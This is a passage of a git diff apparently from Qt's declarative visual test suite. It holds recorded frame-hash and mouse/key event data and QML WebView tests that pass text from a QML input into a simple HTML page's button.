+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3248
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Frame {
+ msec: 3264
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Frame {
+ msec: 3280
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Frame {
+ msec: 3296
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3312
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Frame {
+ msec: 3328
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Frame {
+ msec: 3344
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Frame {
+ msec: 3360
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 212
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Frame {
+ msec: 3392
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Frame {
+ msec: 3408
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "2165224e8f66a797ae5c991462fb56d8"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3440
+ hash: "c6ac7e0be8b7b2a80966344389def97a"
+ }
+ Frame {
+ msec: 3456
+ hash: "c6ac7e0be8b7b2a80966344389def97a"
+ }
+ Frame {
+ msec: 3472
+ hash: "c6ac7e0be8b7b2a80966344389def97a"
+ }
+ Frame {
+ msec: 3488
+ hash: "40f333072bb9f1d334d5ae432d9641b9"
+ }
+ Frame {
+ msec: 3504
+ hash: "40f333072bb9f1d334d5ae432d9641b9"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3520
+ hash: "40f333072bb9f1d334d5ae432d9641b9"
+ }
+ Frame {
+ msec: 3536
+ hash: "40f333072bb9f1d334d5ae432d9641b9"
+ }
+ Frame {
+ msec: 3552
+ hash: "40f333072bb9f1d334d5ae432d9641b9"
+ }
+ Frame {
+ msec: 3568
+ hash: "40f333072bb9f1d334d5ae432d9641b9"
+ }
+ Frame {
+ msec: 3584
+ hash: "40f333072bb9f1d334d5ae432d9641b9"
+ }
+ Frame {
+ msec: 3600
+ hash: "40f333072bb9f1d334d5ae432d9641b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 58; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3616
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 60; y: 209
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 61; y: 207
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3632
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3664
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 202
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 200
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3680
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Frame {
+ msec: 3696
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 198
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 197
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 195
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3712
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 68; y: 194
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 192
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3728
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 190
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 188
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3744
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 186
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 185
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 181
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 72; y: 179
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 178
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3792
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 176
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 175
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3808
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 174
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 173
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3824
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3840
+ image: "windowObjects.3.png"
+ }
+ Frame {
+ msec: 3856
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Frame {
+ msec: 3872
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Frame {
+ msec: 3888
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Frame {
+ msec: 3904
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Frame {
+ msec: 3920
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 76; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3936
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Frame {
+ msec: 3952
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Frame {
+ msec: 3968
+ hash: "96f727ef0dacfda9ea77fb5651493030"
+ }
+ Frame {
+ msec: 3984
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Frame {
+ msec: 4000
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Frame {
+ msec: 4016
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Frame {
+ msec: 4032
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 76; y: 170
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4048
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 77; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 78; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4064
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 79; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4080
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4096
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4112
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4128
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Frame {
+ msec: 4144
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Frame {
+ msec: 4160
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Frame {
+ msec: 4176
+ hash: "ed7b3d93d690df73be5cbee8c41a1931"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 83; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4192
+ hash: "5b3505be865f704640e81cea092d35ba"
+ }
+ Frame {
+ msec: 4208
+ hash: "5b3505be865f704640e81cea092d35ba"
+ }
+ Frame {
+ msec: 4224
+ hash: "5b3505be865f704640e81cea092d35ba"
+ }
+ Frame {
+ msec: 4240
+ hash: "5b3505be865f704640e81cea092d35ba"
+ }
+ Frame {
+ msec: 4256
+ hash: "5b3505be865f704640e81cea092d35ba"
+ }
+ Frame {
+ msec: 4272
+ hash: "5b3505be865f704640e81cea092d35ba"
+ }
+ Frame {
+ msec: 4288
+ hash: "5b3505be865f704640e81cea092d35ba"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 83; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4304
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4320
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4336
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4352
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4368
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4384
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4400
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4416
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4432
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4448
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4464
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4480
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4496
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 87; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4512
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 93; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 134
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4528
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 101; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4544
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 109; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 113; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4560
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 114; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 114; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4576
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 115; y: 104
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 115; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4592
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 115; y: 100
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 116; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4608
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 120; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 122; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4624
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 126; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 130; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4640
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 132; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 134; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4656
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 136; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 138; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4672
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 140; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 141; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4688
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 143; y: 14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4704
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4736
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 143; y: 4
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 143; y: 2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4752
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 143; y: 1
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4768
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4784
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4800
+ image: "windowObjects.4.png"
+ }
+ Frame {
+ msec: 4816
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4832
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4848
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4864
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4880
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4896
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4912
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4928
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4944
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4960
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4976
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 4992
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5008
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5024
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5040
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5056
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5072
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5088
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5104
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5120
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5136
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5152
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5168
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5184
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5200
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5216
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5232
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5248
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5264
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5280
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5296
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5312
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5328
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5344
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5360
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5376
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5392
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5408
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5424
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5440
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5456
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5472
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5488
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5504
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5520
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5536
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5552
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5568
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+ Frame {
+ msec: 5584
+ hash: "cb5a42e7ab70e05a8bbecabb587f9e5e"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/evaluateJavaScript.qml b/tests/auto/declarative/qmlvisual/webview/javascript/evaluateJavaScript.qml
new file mode 100644
index 00000000..9ea2b64b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/evaluateJavaScript.qml
@@ -0,0 +1,33 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Column {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ WebView {
+ id: webview
+ width: 200
+ height: 200
+ url: "test-objects.html"
+ javaScriptWindowObjects:
+ QtObject {
+ property string text: btntext.text
+ WebView.windowObjectName: "qmltext"
+ onTextChanged: {
+ webview.evaluateJavaScript("{document.getElementById('button').value=window.qmltext.text}")
+ }
+ }
+ }
+ Row {
+ Text { text: "Input:" }
+ Rectangle {
+ width: btntext.width+10
+ height: btntext.height+10
+ border.color: "black"
+ TextInput {
+ id: btntext
+ text: "Blah"
+ cursorDelegate: Rectangle { width: 1; color: "red" }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/test-objects.html b/tests/auto/declarative/qmlvisual/webview/javascript/test-objects.html
new file mode 100644
index 00000000..ed7d2ea4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/test-objects.html
@@ -0,0 +1,12 @@
+<html>
+<head>
+</head>
+<body>
+<h1>Boring Document</h1>
+<p>
+This is a boring document.
+It gets the text on this button:
+<input id=button type=button value="click me"
+ onClick="{document.getElementById('button').value=window.qmltext.text}">
+from QML.
+<p>
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/windowObjects.qml b/tests/auto/declarative/qmlvisual/webview/javascript/windowObjects.qml
new file mode 100644
index 00000000..0b78539c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/windowObjects.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Column {
+ property string skip: "WebView tests not counting until resources allocated to WebView maintenance"
+ WebView {
+ width: 200
+ height: 200
+ url: "test-objects.html"
+ javaScriptWindowObjects:
+ QtObject {
+ property string text: btntext.text
+ WebView.windowObjectName: "qmltext"
+ }
+ }
+ Row {
+ Text { text: "Input:" }
+ Rectangle {
+ width: btntext.width+10
+ height: btntext.height+10
+ border.color: "black"
+ TextInput {
+ id: btntext
+ text: "Blah"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.0.png b/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.0.png
new file mode 100644
index 00000000..7721e755
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.qml b/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.qml
new file mode 100644
index 00000000..34d11166
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/settings/data/fontFamily.qml
@@ -0,0 +1,395 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 32
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 48
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 64
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 80
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 96
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 112
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
+ msec: 128
+ hash: "5d66fdee6a0a96bb24e89244f02eacc9"
+ }
+ Frame {
